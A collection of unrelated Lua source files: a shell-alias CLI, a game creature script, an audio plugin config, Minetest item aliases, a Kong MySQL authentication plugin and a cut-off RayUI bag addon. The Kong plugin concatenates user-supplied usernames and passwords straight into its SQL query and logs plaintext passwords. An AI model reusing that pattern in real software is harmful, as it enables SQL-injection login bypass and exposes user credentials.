---------------------------------------------------------------------
local _M = {}
---------------------------------------------------------------------
_M.CFG_FILE = '.aka'
---------------------------------------------------------------------
-- Returns all available CLI options
--
function _M.get_available_opts()
return { help = {'-h', '--help'},
list = {'-l', '--list'}, }
end
-- Returns CLI option which matches one of the available options defined
-- in `get_available_opts` function
--
function _M.get_opt(args)
if #args == 1 then -- option can only be a single argument
for opt_label, opts in pairs(_M.get_available_opts()) do
for _, opt in pairs(opts) do
if opt == args[1] then return opt_label end
end
end
end
return nil
end
-- Calls aka module function with the following name: `run_{opt_name}_opt`
--
function _M.run_opt(t)
return _M['run_' .. t.opt .. '_opt'](t)
end
-- Prints help message
--
function _M.run_help_opt(t)
return _M.print_help()
end
-- Prints all available aliases found in the configuration file
--
function _M.run_list_opt(t)
local opt = t.opt
local cfg = t.config
local n = 0
print('Listing all aka aliases...\n')
print(str_rep('-', 40))
local list_recur = function(cfg, list_recur)
local indent = function()
for i = 1, n do
io_write(' ')
end
end
for k, v in pairs(cfg) do
if type(v) == 'table' then
indent()
print('- [' .. k .. ']')
n = n + 1
list_recur(v, list_recur)
else
indent()
print(str_fmt('- [%s = \'%s\']', tostring(k), tostring(v)))
end
end
n = n - 1
end
for k, v in pairs(cfg) do
if type(v) == 'table' then
print('[' .. k .. ']')
n = n + 1
list_recur(v, list_recur)
else
print(str_fmt('[%s = \'%s\']', tostring(k), tostring(v)))
end
end
print(str_rep('-', 40))
print('')
end
-- Returns the alias specified by the command line argument if there is
-- a match with the configuration file entries.
--
-- Returns nil if unable to find a matched alias.
--
function _M.get_cmd(cfg, args, idx)
if not idx then idx = 1 end
local val = cfg[args[idx]]
if val then
if type(val) == 'table' then
-- continue searching deeper
return _M.get_cmd(val, args, idx + 1)
else
-- we found the match, let's check for input arguments
local input_args = {}
for i = idx + 1, #args do -- skip the arguments used for alias match
input_args[#input_args + 1] = ' ' .. args[i]
end
-- Return cmd and append input arguments if they exist
return val .. table_concat(input_args)
end
end
-- Verify that number of arguments match
return (idx == #args) and val or nil
end
-- Prints error message to the screen
--
function _M.print_err(err)
print(str_fmt('aka: %s\nSee \'aka -h\' or \'aka --help\'', err))
end
-- Prints usage message to the screen
--
function _M.print_help()
print [[
aka - per directory shell aliases
Usage:
aka alias [sub_alias sub_sub_alias ...]
aka -l|--list
aka -h|--help
Options:
-l, --list List all aliases
-h, --help Print usage
]]
end
---------------------------------------------------------------------
return _M
|
function CDefender_OnEnterCombat(Unit,Event)
Unit:RegisterEvent("CDefender_Spell1", 7000, 0)
Unit:RegisterEvent("CDefender_Spell2", 16000, 0)
end
function CDefender_Spell1(Unit,Event)
Unit:FullCastSpellOnTarget(38233,Unit:GetClosestPlayer())
end
function CDefender_Spell2(Unit,Event)
Unit:FullCastSpellOnTarget(38031,Unit:GetClosestPlayer())
end
function CDefender_OnLeaveCombat(Unit,Event)
Unit:RemoveEvents()
end
function CDefender_OnDied(Unit,Event)
Unit:RemoveEvents()
end
RegisterUnitEvent(19762, 1, "CDefender_OnEnterCombat")
RegisterUnitEvent(19762, 2, "CDefender_OnLeaveCombat")
RegisterUnitEvent(19762, 4, "CDefender_OnDied") |
format_version = "1.0"
rtc_bindings = {
{ source = "/environment/system_sample_rate", dest = "/global_rtc/init_instance" },
{ source = "/environment/instance_id", dest = "/global_rtc/init_instance" }
}
global_rtc = {
init_instance = function(source_property_path, instance_id)
local new_no = jbox.make_native_object_rw("Instance", {instance_id})
jbox.store_property("/custom_properties/instance", new_no);
end
}
sample_rate_setup = {
native = {
22050,
44100,
48000,
88200,
96000,
192000
},
}
local notes = {
"/custom_properties/GAIN",
"/transport/request_reset_audio",
"/environment/system_sample_rate",
"/audio_inputs/AudioInL/connected",
"/audio_inputs/AudioInR/connected",
"/audio_outputs/AudioOutL/connected",
"/audio_outputs/AudioOutR/connected",
}
for N = 1,4 do
table.insert(notes,"/custom_properties/BYPASS"..N)
table.insert(notes,"/custom_properties/DELAY"..N)
table.insert(notes,"/custom_properties/DRY_WET"..N)
table.insert(notes,"/custom_properties/CONNECT"..N)
table.insert(notes,"/audio_inputs/AudioInL"..N.."/connected")
table.insert(notes,"/audio_inputs/AudioInR"..N.."/connected")
table.insert(notes,"/audio_outputs/AudioOutL"..N.."/connected")
table.insert(notes,"/audio_outputs/AudioOutR"..N.."/connected")
end
for k,v in pairs(notes) do
jbox.trace("Making RT notifier for "..v)
end
rt_input_setup = {
notify = notes
}
|
-- Some aliases for compatibility switches and some to make "/give" commands
-- a little easier
minetest.register_alias("snow:needles", "default:pine_needles")
minetest.register_alias("snow:snow", "default:snow")
minetest.register_alias("default_snow", "default:snow")
minetest.register_alias("snow:snowball", "default:snow")
minetest.register_alias("snowball", "default:snow")
minetest.register_alias("snowballs", "default:snow")
minetest.register_alias("snow_ball", "default:snow")
minetest.register_alias("snow:ice", "default:ice")
minetest.register_alias("ice", "default:ice")
minetest.register_alias("default_ice", "default:ice")
minetest.register_alias("snow:dirt_with_snow", "default:dirt_with_snow")
minetest.register_alias("dirtwithsnow", "default:dirt_with_snow")
minetest.register_alias("snowdirt", "default:dirt_with_snow")
minetest.register_alias("snowydirt", "default:dirt_with_snow")
minetest.register_alias("snow:snow_block", "default:snowblock")
minetest.register_alias("default:snow_block", "default:snowblock")
minetest.register_alias("snowblocks", "default:snowblock")
minetest.register_alias("snowbrick", "snow:snow_brick")
minetest.register_alias("bricksnow", "snow:snow_brick")
minetest.register_alias("snowbricks", "snow:snow_brick")
minetest.register_alias("snowybricks", "snow:snow_brick")
minetest.register_alias("icysnow", "snow:snow_cobble")
minetest.register_alias("snowcobble", "snow:snow_cobble")
minetest.register_alias("snowycobble", "snow:snow_cobble")
minetest.register_alias("cobblesnow", "snow:snow_cobble")
minetest.register_alias("snow:leaves", "default:pine_needles")
minetest.register_alias("snow:sapling_pine", "default:pine_sapling")
-- To clean up my first stairsplus attempt.
-- Stair
minetest.register_alias(":default:stair_snowblock", "moreblocks:stair_snowblock")
minetest.register_alias(":default:stair_snowblock_half", "moreblocks:stair_snowblock_half")
minetest.register_alias(":default:stair_snowblock_right_half", "moreblocks:stair_snowblock_right_half")
minetest.register_alias(":default:stair_snowblock_inner", "moreblocks:stair_snowblock_inner")
minetest.register_alias(":default:stair_snowblock_outer", "moreblocks:stair_snowblock_outer")
minetest.register_alias(":default:stair_snowblock_alt", "moreblocks:stair_snowblock_alt")
minetest.register_alias(":default:stair_snowblock_alt_1", "moreblocks:stair_snowblock_alt_1")
minetest.register_alias(":default:stair_snowblock_alt_2", "moreblocks:stair_snowblock_2")
minetest.register_alias(":default:stair_snowblock_alt_4", "moreblocks:stair_snowblock_alt_4")
minetest.register_alias(":default:stair_ice", "moreblocks:stair_ice")
minetest.register_alias(":default:stair_ice_half", "moreblocks:stair_ice_half")
minetest.register_alias(":default:stair_ice_right_half", "moreblocks:stair_ice_right_half")
minetest.register_alias(":default:stair_ice_inner", "moreblocks:stair_ice_inner")
minetest.register_alias(":default:stair_ice_outer", "moreblocks:stair_ice_outer")
minetest.register_alias(":default:stair_ice_alt", "moreblocks:stair_ice_alt")
minetest.register_alias(":default:stair_ice_alt_1", "moreblocks:stair_ice_alt_1")
minetest.register_alias(":default:stair_ice_alt_2", "moreblocks:stair_ice_2")
minetest.register_alias(":default:stair_ice_alt_4", "moreblocks:stair_ice_alt_4")
-- Slab
minetest.register_alias(":default:slab_snowblock", "moreblocks:slab_snowblock")
minetest.register_alias(":default:slab_snowblock_quarter", "moreblocks:slab_snowblock_quarter")
minetest.register_alias(":default:slab_snowblock_three_quarter", "moreblocks:slab_snowblock_three_quarter")
minetest.register_alias(":default:slab_snowblock_1", "moreblocks:slab_snowblock_1")
minetest.register_alias(":default:slab_snowblock_2", "moreblocks:slab_snowblock_2")
minetest.register_alias(":default:slab_snowblock_14", "moreblocks:slab_snowblock_14")
minetest.register_alias(":default:slab_snowblock_15", "moreblocks:slab_snowblock_15")
minetest.register_alias(":default:slab_ice", "moreblocks:slab_ice")
minetest.register_alias(":default:slab_ice_quarter", "moreblocks:slab_ice_quarter")
minetest.register_alias(":default:slab_ice_three_quarter", "moreblocks:slab_ice_three_quarter")
minetest.register_alias(":default:slab_ice_1", "moreblocks:slab_ice_1")
minetest.register_alias(":default:slab_ice_2", "moreblocks:slab_ice_2")
minetest.register_alias(":default:slab_ice_14", "moreblocks:slab_ice_14")
minetest.register_alias(":default:slab_ice_15", "moreblocks:slab_ice_15")
-- Panel
minetest.register_alias(":default:panel_snowblock", "moreblocks:panel_snowblock")
minetest.register_alias(":default:panel_snowblock_1", "moreblocks:panel_snowblock_1")
minetest.register_alias(":default:panel_snowblock_2", "moreblocks:panel_snowblock_2")
minetest.register_alias(":default:panel_snowblock_4", "moreblocks:panel_snowblock_4")
minetest.register_alias(":default:panel_snowblock_12", "moreblocks:panel_snowblock_12")
minetest.register_alias(":default:panel_snowblock_14", "moreblocks:panel_snowblock_14")
minetest.register_alias(":default:panel_snowblock_15", "moreblocks:panel_snowblock_15")
minetest.register_alias(":default:panel_ice", "moreblocks:panel_ice")
minetest.register_alias(":default:panel_ice_1", "moreblocks:panel_ice_1")
minetest.register_alias(":default:panel_ice_2", "moreblocks:panel_ice_2")
minetest.register_alias(":default:panel_ice_4", "moreblocks:panel_ice_4")
minetest.register_alias(":default:panel_ice_12", "moreblocks:panel_ice_12")
minetest.register_alias(":default:panel_ice_14", "moreblocks:panel_ice_14")
minetest.register_alias(":default:panel_ice_15", "moreblocks:panel_ice_15")
-- Micro
minetest.register_alias(":default:micro_snowblock", "moreblocks:micro_snowblock")
minetest.register_alias(":default:micro_snowblock_1", "moreblocks:micro_snowblock_1")
minetest.register_alias(":default:micro_snowblock_2", "moreblocks:micro_snowblock_2")
minetest.register_alias(":default:micro_snowblock_4", "moreblocks:micro_snowblock_4")
minetest.register_alias(":default:micro_snowblock_12", "moreblocks:micro_snowblock_12")
minetest.register_alias(":default:micro_snowblock_14", "moreblocks:micro_snowblock_14")
minetest.register_alias(":default:micro_snowblock_15", "moreblocks:micro_snowblock_15")
minetest.register_alias(":default:micro_ice", "moreblocks:micro_ice")
minetest.register_alias(":default:micro_ice_1", "moreblocks:micro_ice_1")
minetest.register_alias(":default:micro_ice_2", "moreblocks:micro_ice_2")
minetest.register_alias(":default:micro_ice_4", "moreblocks:micro_ice_4")
minetest.register_alias(":default:micro_ice_12", "moreblocks:micro_ice_12")
minetest.register_alias(":default:micro_ice_14", "moreblocks:micro_ice_14")
minetest.register_alias(":default:micro_ice_15", "moreblocks:micro_ice_15")
|
local responses = require "kong.tools.responses"
local constants = require "kong.constants"
local singletons = require "kong.singletons"
local mysql = require "resty.mysql"
local match = string.match
local lower = string.lower
local find = string.find
local sub = string.sub
local ngx_log = ngx.log
local request = ngx.req
local ngx_error = ngx.ERR
local ngx_debug = ngx.DEBUG
local ngx_warn = ngx.WARN
local decode_base64 = ngx.decode_base64
local ngx_socket_tcp = ngx.socket.tcp
local ngx_set_header = ngx.req.set_header
local tostring = tostring
local AUTHORIZATION = "authorization"
local PROXY_AUTHORIZATION = "proxy-authorization"
local _M = {}
local function retrieve_credentials(authorization_header_value, conf)
local username, password
if authorization_header_value then
local s, e = find(lower(authorization_header_value), "^%s*" .. lower(conf.header_type) .. "%s+")
if s == 1 then
local cred = sub(authorization_header_value, e + 1)
local decoded_cred = decode_base64(cred)
username, password = match(decoded_cred, "([^\n]+):([^\n]+)")
end
end
return username, password
end
local function db_authenticate(given_username, given_password, conf)
local is_authenticated
local err, suppressed_err, ok
-- to prevent sql injections
--local name = ngx.unescape_uri(ngx.var.arg_name)
--local quoted_name = ngx.quote_sql_str(name)
--local sql = "select * from users where name = " .. quoted_name
-- local sock = ngx_socket_tcp()
-- sock:settimeout(conf.timeout)
-- ok, err = sock:connect(conf.db_host, conf.db_port)
-- if not ok then
-- ngx_log(ngx_error, "[dbauthenticate] failed to connect to " .. conf.db_host .. ":" .. tostring(conf.db_port) .. ": ", err)
-- return nil, err
-- end
--
-- if conf.start_tls then
-- local success, err = mysql.start_tls(sock)
-- if not success then
-- return false, err
-- end
-- local _, err = sock:sslhandshake(true, conf.db_host, conf.verify_db_host)
-- if err ~= nil then
-- return false, "failed to do SSL handshake with " .. conf.db_host .. ":" .. tostring(conf.db_port) .. ": " .. err
-- end
-- end
--
-- is_authenticated, err = mysql.bind_request(sock, who, given_password)
--
-- ok, suppressed_err = sock:setkeepalive(conf.keepalive)
local db, err = mysql:new()
if not db then
ngx_log(ngx_warn, "[dbauthenticate] failed to instantiate mysql: ", err)
return is_authenticated, err
end
db:set_timeout(1000) -- 1 sec
-- or connect to a unix domain socket file listened
-- by a mysql server:
-- local ok, err, errcode, sqlstate =
-- db:connect{
-- path = "/path/to/mysql.sock",
-- database = "ngx_test",
-- user = "ngx_test",
-- password = "ngx_test" }
local ok, err, errcode, sqlstate = db:connect{
host = conf.db_host,
port = conf.db_port,
database = conf.db_name,
user = conf.db_user,
password = conf.db_passwd,
charset = "utf8",
max_packet_size = 1024 * 1024,
}
if not ok then
ngx_log(ngx_warn, "[dbauthenticate] failed to connect: ", err, ": ", errcode, " ", sqlstate)
return is_authenticated, err
end
ngx_log(ngx_debug, "[dbauthenticate] connected to mysql.")
-- local res, err, errcode, sqlstate = db:query("drop table if exists cats")
-- if not res then
-- ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".")
-- return
-- end
--
-- res, err, errcode, sqlstate = db:query("create table cats "
-- .. "(id serial primary key, "
-- .. "name varchar(5))")
-- if not res then
-- ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".")
-- return
-- end
--
-- ngx.say("table cats created.")
--
-- res, err, errcode, sqlstate =
-- db:query("insert into cats (name) "
-- .. "values (\'Bob\'),(\'\'),(null)")
-- if not res then
-- ngx.say("bad result: ", err, ": ", errcode, ": ", sqlstate, ".")
-- return
-- end
--
-- ngx.say(res.affected_rows, " rows inserted into table cats ",
-- "(last insert id: ", res.insert_id, ")")
-- run a select query, expected about 10 rows in
-- the result set:
local query = "select * from " .. conf.db_user_table .. " where " .. conf.db_username_column .. "=\'" .. given_username .. "\' and " .. conf.db_passwd_column .. "=\'" .. given_password .. "\'"
ngx_log(ngx.INFO, "pwd : _____" .. given_password .. "____")
local res, err, errcode, sqlstate = db:query(query, 10)
local cjson = require "cjson"
ngx_log(ngx.INFO, "[dbauthenticate] result '", cjson.encode(res), "'")
ngx_log(ngx.INFO, "[dbauthenticate] query __ ", query, " __")
if not res then
ngx_log(ngx_warn, "[dbauthenticate] bad result: ", err, ": ", errcode, ": ", sqlstate, ".")
is_authenticated = false
else
if next(res) == nil then
ngx_log(ngx.INFO, "[dbauthenticate] login failed with username '", given_username, "'")
is_authenticated = false
else
ngx_log(ngx.DEBUG, "[dbauthenticate] login succeed with username '", given_username, "'")
is_authenticated = true
end
end
-- put it into the connection pool of size 100,
-- with 10 seconds max idle timeout
local ok, err = db:set_keepalive(10000, 100)
if not ok then
ngx_log(ngx_warn, "[dbauthenticate] failed to set keepalive: ", err)
return is_authenticated, err
end
-- or just close the connection right away:
-- local ok, err = db:close()
-- if not ok then
-- ngx.say("failed to close: ", err)
-- return
-- end
return is_authenticated, err
end
local function load_credential(given_username, given_password, conf)
ngx_log(ngx_debug, "[dbauthenticate] authenticating user against LDAP server: " .. conf.db_host .. ":" .. conf.db_port)
local ok, err = db_authenticate(given_username, given_password, conf)
if err ~= nil then
ngx_log(ngx_error, err)
end
if ok == nil then
return nil
end
if ok == false then
return false
end
return {username = given_username, password = given_password}
end
local function authenticate(conf, given_credentials)
local given_username, given_password = retrieve_credentials(given_credentials, conf)
if given_username == nil then
return false
end
local cache_key = "dbauthenticate_cache:" .. ngx.ctx.api.id .. ":" .. given_username
local credential, err = singletons.cache:get(cache_key, {
ttl = conf.cache_ttl,
neg_ttl = conf.cache_ttl,
}, load_credential, given_username, given_password, conf)
if err or credential == nil then
return responses.send_HTTP_INTERNAL_SERVER_ERROR(err)
end
return credential and credential.password == given_password, credential
end
local function load_consumer(consumer_id, anonymous)
local result, err = singletons.dao.consumers:find { id = consumer_id }
if not result then
if anonymous and not err then
err = 'anonymous consumer "' .. consumer_id .. '" not found'
end
return nil, err
end
return result
end
local function set_consumer(consumer, credential)
if consumer then
-- this can only be the Anonymous user in this case
ngx_set_header(constants.HEADERS.CONSUMER_ID, consumer.id)
ngx_set_header(constants.HEADERS.CONSUMER_CUSTOM_ID, consumer.custom_id)
ngx_set_header(constants.HEADERS.CONSUMER_USERNAME, consumer.username)
ngx_set_header(constants.HEADERS.ANONYMOUS, true)
ngx.ctx.authenticated_consumer = consumer
return
end
-- here we have been authenticated by db
ngx_set_header(constants.HEADERS.CREDENTIAL_USERNAME, credential.username)
ngx.ctx.authenticated_credential = credential
-- in case of auth plugins concatenation, remove remnants of anonymous
ngx.ctx.authenticated_consumer = nil
ngx_set_header(constants.HEADERS.ANONYMOUS, nil)
ngx_set_header(constants.HEADERS.CONSUMER_ID, nil)
ngx_set_header(constants.HEADERS.CONSUMER_CUSTOM_ID, nil)
ngx_set_header(constants.HEADERS.CONSUMER_USERNAME, nil)
end
local function do_authentication(conf)
local headers = request.get_headers()
local authorization_value = headers[AUTHORIZATION]
local proxy_authorization_value = headers[PROXY_AUTHORIZATION]
-- If both headers are missing, return 401
if not (authorization_value or proxy_authorization_value) then
ngx.header["WWW-Authenticate"] = 'LDAP realm="kong"'
return false, {status = 401}
end
local is_authorized, credential = authenticate(conf, proxy_authorization_value)
if not is_authorized then
is_authorized, credential = authenticate(conf, authorization_value)
end
if not is_authorized then
return false, {status = 403, message = "Invalid authentication credentials"}
end
if conf.hide_credentials then
request.clear_header(AUTHORIZATION)
request.clear_header(PROXY_AUTHORIZATION)
end
set_consumer(nil, credential)
return true
end
function _M.execute(conf)
if ngx.ctx.authenticated_credential and conf.anonymous ~= "" then
-- we're already authenticated, and we're configured for using anonymous,
-- hence we're in a logical OR between auth methods and we're already done.
return
end
local ok, err = do_authentication(conf)
if not ok then
if conf.anonymous ~= "" then
-- get anonymous user
local consumer_cache_key = singletons.dao.consumers:cache_key(conf.anonymous)
local consumer, err = singletons.cache:get(consumer_cache_key, nil,
load_consumer,
conf.anonymous, true)
if err then
responses.send_HTTP_INTERNAL_SERVER_ERROR(err)
end
set_consumer(consumer, nil)
else
return responses.send(err.status, err.message)
end
end
end
return _M
|
----------------------------------------------------------
-- Load RayUI Environment
----------------------------------------------------------
RayUI:LoadEnv("Bags")
local B = R:NewModule("Bags", "AceHook-3.0", "AceEvent-3.0", "AceTimer-3.0")
local S = R.Skins
local cargBags = _cargBags
local consumable = AUCTION_CATEGORY_CONSUMABLES
B.modName = L["背包"]
_Bags = B
function B:Tooltip_Show()
GameTooltip:SetOwner(self, "ANCHOR_TOP", 0, 4)
GameTooltip:ClearLines()
GameTooltip:AddLine(self.ttText)
if self.ttText2 then
GameTooltip:AddLine(" ")
GameTooltip:AddDoubleLine(self.ttText2, self.ttText2desc, 1, 1, 1)
end
GameTooltip:Show()
end
function B:Tooltip_Hide()
GameTooltip:Hide()
end
function B:OpenBags()
cargBags.blizzard:Show()
end
function B:CloseBags()
cargBags.blizzard:Hide()
end
-- local equipSetTip = CreateFrame("GameTooltip", "RayUICheckEquipSetTip", R.UIParent, "GameTooltipTemplate")
local function CheckEquipmentSet(item)
if not item.bagID or not item.slotID then return false end
-- equipSetTip:SetOwner(R.UIParent, "ANCHOR_NONE")
-- equipSetTip:ClearLines()
-- equipSetTip:SetBagItem(item.bagID, item.slotID)
-- equipSetTip:Show()
--
-- for index = 1, equipSetTip:NumLines() do
-- if string.match(_G["RayUICheckEquipSetTipTextLeft" .. index]:GetText(), string.gsub(EQUIPMENT_SETS,"%%s\124r","")) then
-- return true
-- end
-- end
return item.isInSet
end
function B:IsConsumableItem(item)
return item.type == AUCTION_CATEGORY_CONSUMABLES and item.rarity ~= LE_ITEM_QUALITY_POOR
end
function B:Initialize()
if not self.db.enable then return end
if B.db.bagWidth > 20 then B.db.bagWidth = 10 end
if B.db.bankWidth > 20 then B.db.bankWidth = 12 end
local RayUI_ContainerFrame = cargBags:NewImplementation("RayUI_ContainerFrame") -- Let the magic begin!
RayUI_ContainerFrame:RegisterBlizzard() -- register the frame for use with BLizzard's ToggleBag()-functions
-- A highlight function styles the button if they match a certain condition
local function highlightFunction(button, match)
button:SetAlpha(match and 1 or 0.1)
end
local f = {}
function RayUI_ContainerFrame:OnInit()
-- The filters control which items go into which container
local INVERTED = -1 -- with inverted filters (using -1), everything goes into this bag when the filter returns false
local onlyBags = function(item) return item.bagID >= BACKPACK_CONTAINER and item.bagID <= NUM_BAG_SLOTS and not CheckEquipmentSet(item) and not B:IsConsumableItem(item) end
local onlyBank = function(item) return item.bagID == BANK_CONTAINER or item.bagID >= NUM_BAG_SLOTS+1 and item.bagID <= NUM_BAG_SLOTS + NUM_BANKBAGSLOTS and not CheckEquipmentSet(item) and not B:IsConsumableItem(item) end
local onlyReagent = function(item) return item.bagID == REAGENTBANK_CONTAINER end
local onlyBagSets = function(item) return CheckEquipmentSet(item) and not (item.bagID == BANK_CONTAINER or item.bagID >= NUM_BAG_SLOTS+1 and item.bagID <= NUM_BAG_SLOTS + NUM_BANKBAGSLOTS) end
local onlyBagConsumables = function(item) return B:IsConsumableItem(item) and not (item.bagID == BANK_CONTAINER or item.bagID >= NUM_BAG_SLOTS+1 and item.bagID <= NUM_BAG_SLOTS + NUM_BANKBAGSLOTS) end
local onlyBankSets = function(item) return CheckEquipmentSet(item) and not (item.bagID >= BACKPACK_CONTAINER and item.bagID <= NUM_BAG_SLOTS) end
local onlyBankConsumables = function(item) return B:IsConsumableItem(item) and not (item.bagID >= BACKPACK_CONTAINER and item.bagID <= NUM_BAG_SLOTS) end
local onlyRareEpics = function(item) return item.rarity and item.rarity > 3 end
local onlyEpics = function(item) return item.rarity and item.rarity > 3 end
local hideJunk = function(item) return not item.rarity or item.rarity > 0 end
local hideEmpty = function(item) return item.texture ~= nil end
local MyContainer = RayUI_ContainerFrame:GetContainerClass()
-- Bagpack
f.main = MyContainer:New("Main", {
Columns = B.db.bagWidth,
Bags = "backpack+bags",
Movable = true,
})
f.main:SetFilter(onlyBags, true)
f.main:SetPoint("BOTTOMRIGHT", R.UIParent, "BOTTOMRIGHT", -55, 30) -- bagpack position
-- Bank frame and bank bags
f.bank = MyContainer:New("Bank", {
Columns = B.db.bankWidth,
Bags = "bankframe+bank",
})
f.bank:SetFilter(onlyBank, true) -- Take only items from the bank frame
f.bank:SetPoint("BOTTOMRIGHT", "RayUI_ContainerFrameMain", "BOTTOMLEFT", -25, 0) -- bank frame position
f.bank:Hide() -- Hide at the beginning
-- Reagent frame and bank bags
f.reagent = MyContainer:New("Reagent", {Columns = B.db.bankWidth, Bags = "bankreagent"})
f.reagent:SetFilter(onlyReagent, true)
f.reagent:Hide()
f.reagent:SetPoint("BOTTOMRIGHT", "RayUI_ContainerFrameMain", "BOTTOMLEFT", -25, 0)
f.consumables = MyContainer:New("Consumables", {Columns = B.db.bagWidth, Bags = "backpack+bags"})
f.consumables:SetFilter(onlyBagConsumables, true)
f.consumables:SetParent(f.main)
f.consumables:SetPoint("BOTTOMLEFT", f.main,"TOPLEFT", 0, 3)
f.sets = MyContainer:New("ItemSets", {Columns = B.db.bagWidth, Bags = "backpack+bags"})
f.sets:SetFilter(onlyBagSets, true)
f.sets:SetParent(f.main)
f.sets:SetPoint("BOTTOMLEFT", f.consumables,"TOPLEFT", 0, 3)
f.bankconsumables = MyContainer:New("BankConsumables", {Columns = B.db.bankWidth, Bags = "backpack+bags"})
f.bankconsumables:SetFilter(onlyBankConsumables, true)
f.bankconsumables:SetParent(f.bank)
f.bankconsumables:SetPoint("BOTTOMLEFT", f.bank,"TOPLEFT", 0, 3)
f.banksets = MyContainer:New("BankItemSets", {Columns = B.db.bankWidth, Bags = "bankframe+bank"})
f.banksets:SetFilter(onlyBankSets, true)
f.banksets:SetParent(f.bank)
f.banksets:SetPoint("BOTTOMLEFT", f.bankconsumables,"TOPLEFT", 0, 3)
end
-- Bank frame toggling
function RayUI_ContainerFrame:OnBankOpened()
BankFrame:Show()
self:GetContainer("Bank"):Show()
end
function RayUI_ContainerFrame:OnBankClosed()
BankFrame:Hide()
self:GetContainer("Bank"):Hide()
self:GetContainer("Reagent"):Hide()
ReagentBankFrame:Hide()
BankFrame.selectedTab = 1
end
-- Class: ItemButton appearencence classification
local MyButton = RayUI_ContainerFrame:GetItemButtonClass()
MyButton:Scaffold("RayUI")
function MyButton:OnUpdate(item)
-- color the border based on bag type
local bagType = select(2, GetContainerNumFreeSlots(self.bagID));
-- ammo / soulshards
if(bagType and (bagType > 0 and bagType < 8)) then
self.Border:SetVertexColor(0.85, 0.85, 0.35, 1);
-- profession bags
elseif(bagType and bagType > 4) then
self.Border:SetVertexColor(0.1, 0.65, 0.1, 1);
-- normal bags
else
self.Border:SetVertexColor(.7, .7, .7, .9);
end
end
-- Class: BagButton is the template for all buttons on the BagBar
local BagButton = RayUI_ContainerFrame:GetClass("BagButton", true, "BagButton")
-- We color the CheckedTexture golden, not bright yellow
function BagButton:OnCreate()
self:GetCheckedTexture():SetVertexColor(0.3, 0.9, 0.9, 0.5)
end
-- Class: Container (Serves as a base for all containers/bags)
-- Fetch our container class that serves as a basis for all our containers/bags
local UpdateDimensions = function(self)
local width, height = self:LayoutButtons("grid", self.Settings.Columns, 3, 6, -45)
--local width, height = self:GetWidth(), self:GetHeight()
local margin = 60 -- Normal margin space for infobar
if self.BagBar and self.BagBar:IsShown() then
margin = margin + 40 -- Bag button space
end
self:SetHeight(height + margin)
end
local MyContainer = RayUI_ContainerFrame:GetContainerClass()
function MyContainer:OnContentsChanged()
-- sort our buttons based on the slotID
self:SortButtons("bagSlot")
-- Order the buttons in a layout, ("grid", columns, spacing, xOffset, yOffset) or ("circle", radius (optional), xOffset, yOffset)
local width, height = self:LayoutButtons("grid", self.Settings.Columns, 3, 6, -45)
self:SetSize(width + 12, height + 12)
if (self.UpdateDimensions) then self:UpdateDimensions() end -- Update the bag's height
if self.name == "ItemSets" or self.name == "Consumables" then
local width, height = self:LayoutButtons("grid", self.Settings.Columns, 3, 6, -25)
self:SetSize(width + 12, height + 32)
end
if self.name == "BankItemSets" or self.name == "BankConsumables" then
local width, height = self:LayoutButtons("grid", self.Settings.Columns, 3, 6, -25)
self:SetSize(width + 12, height + 32)
end
if RayUI_ContainerFrameItemSets:GetHeight()<33 then
f.sets:Hide()
else
f.sets:Show()
end
if RayUI_ContainerFrameConsumables:GetHeight()<33 then
f.consumables:Hide()
else
f.consumables:Show()
end
if RayUI_ContainerFrameBankItemSets:GetHeight()<33 then
f.banksets:Hide()
else
f.banksets:Show()
end
if RayUI_ContainerFrameBankConsumables:GetHeight()<33 then
f.bankconsumables:Hide()
else
f.bankconsumables:Show()
end
end
-- OnCreate is called every time a new container is created
function MyContainer:OnCreate(name, settings)
settings = settings or {}
self.Settings = settings
self.UpdateDimensions = UpdateDimensions
self:EnableMouse(true)
self:CreateShadow("Background")
self:SetBackdropColor(0, 0, 0, 0.9)
self:SetBackdropBorderColor(0, 0, 0, 0.8)
self:SetParent(settings.Parent or RayUI_ContainerFrame)
self:SetFrameStrata("HIGH")
if(settings.Movable) then
self:SetMovable(true)
self:RegisterForClicks("LeftButton", "RightButton")
self:SetScript("OnMouseDown", function()
self:ClearAllPoints()
self:StartMoving()
end)
end
self:SetScript("OnMouseUp", self.StopMovingOrSizing)
settings.Columns = settings.Columns or 10
if name == "Bank" or name == "Main" then -- don't need all that junk on "other" sections
--Sort Button
self.sortButton = CreateFrame("Button", nil, self)
self.sortButton:Point("TOPLEFT", self, "TOPLEFT", 5, -4)
self.sortButton:Size(16, 16)
self.sortButton:SetNormalTexture("Interface\\ICONS\\INV_Pet_Broom")
self.sortButton:GetNormalTexture():SetTexCoord(.08, .92, .08, .92)
self.sortButton:SetPushedTexture("Interface\\ICONS\\INV_Pet_Broom")
self.sortButton:GetPushedTexture():SetTexCoord(.08, .92, .08, .92)
self.sortButton.pushed = true
self.sortButton:StyleButton(true)
self.sortButton.ttText = L["整理背包"]
self.sortButton:SetScript("OnEnter", B.Tooltip_Show)
self.sortButton:SetScript("OnLeave", B.Tooltip_Hide)
self.sortButton:SetScript("OnClick", function() B:CommandDecorator(B.SortBags, self.name == "Bank" and "bank" or "bags")() end)
S:CreateBG(self.sortButton)
--Bagbar Button
self.bagsButton = CreateFrame("Button", nil, self)
self.bagsButton:Point("LEFT", self.sortButton, "RIGHT", 3, 0)
self.bagsButton:Size(16, 16)
self.bagsButton:SetNormalTexture("Interface\\Buttons\\Button-Backpack-Up")
self.bagsButton:GetNormalTexture():SetTexCoord(.08, .92, .08, .92)
self.bagsButton:SetPushedTexture("Interface\\Buttons\\Button-Backpack-Up")
self.bagsButton:GetPushedTexture():SetTexCoord(.08, .92, .08, .92)
self.bagsButton.pushed = true
self.bagsButton:StyleButton(true)
self.bagsButton.ttText = L["显示背包"]
self.bagsButton:SetScript("OnEnter", B.Tooltip_Show)
self.bagsButton:SetScript("OnLeave", B.Tooltip_Hide)
self.bagsButton:SetScript("OnClick", function()
if(self.BagBar:IsShown()) then
self.BagBar:Hide()
else
self.BagBar:Show()
end
self:UpdateDimensions()
end)
S:CreateBG(self.bagsButton)
local infoFrame = CreateFrame("Button", nil, self)
infoFrame:Point("TOPLEFT", self, "TOPLEFT", 5, -21)
infoFrame:Point("TOPRIGHT", self, "TOPRIGHT", -5, -21)
infoFrame:SetHeight(20)
-- money!
local tagDisplay = self:SpawnPlugin("TagDisplay", "[money]", infoFrame)
tagDisplay:SetFont(R["media"].font, R["media"].fontsize)
